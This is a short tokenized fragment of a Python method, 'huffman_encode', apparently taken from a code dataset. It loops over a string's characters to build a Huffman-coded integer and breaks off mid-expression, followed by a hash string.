[ "def", "huffman_encode", "(", "cls", ",", "s", ")", ":", "# type: (str) -> Tuple[int, int]", "i", "=", "0", "ibl", "=", "0", "for", "c", "in", "s", ":", "val", ",", "bl", "=", "cls", ".", "_huffman_encode_char", "(", "c", ")", "i", "=", "(", "i", "...
3ffe757c184017dd46464593a8f80f85abc1e79a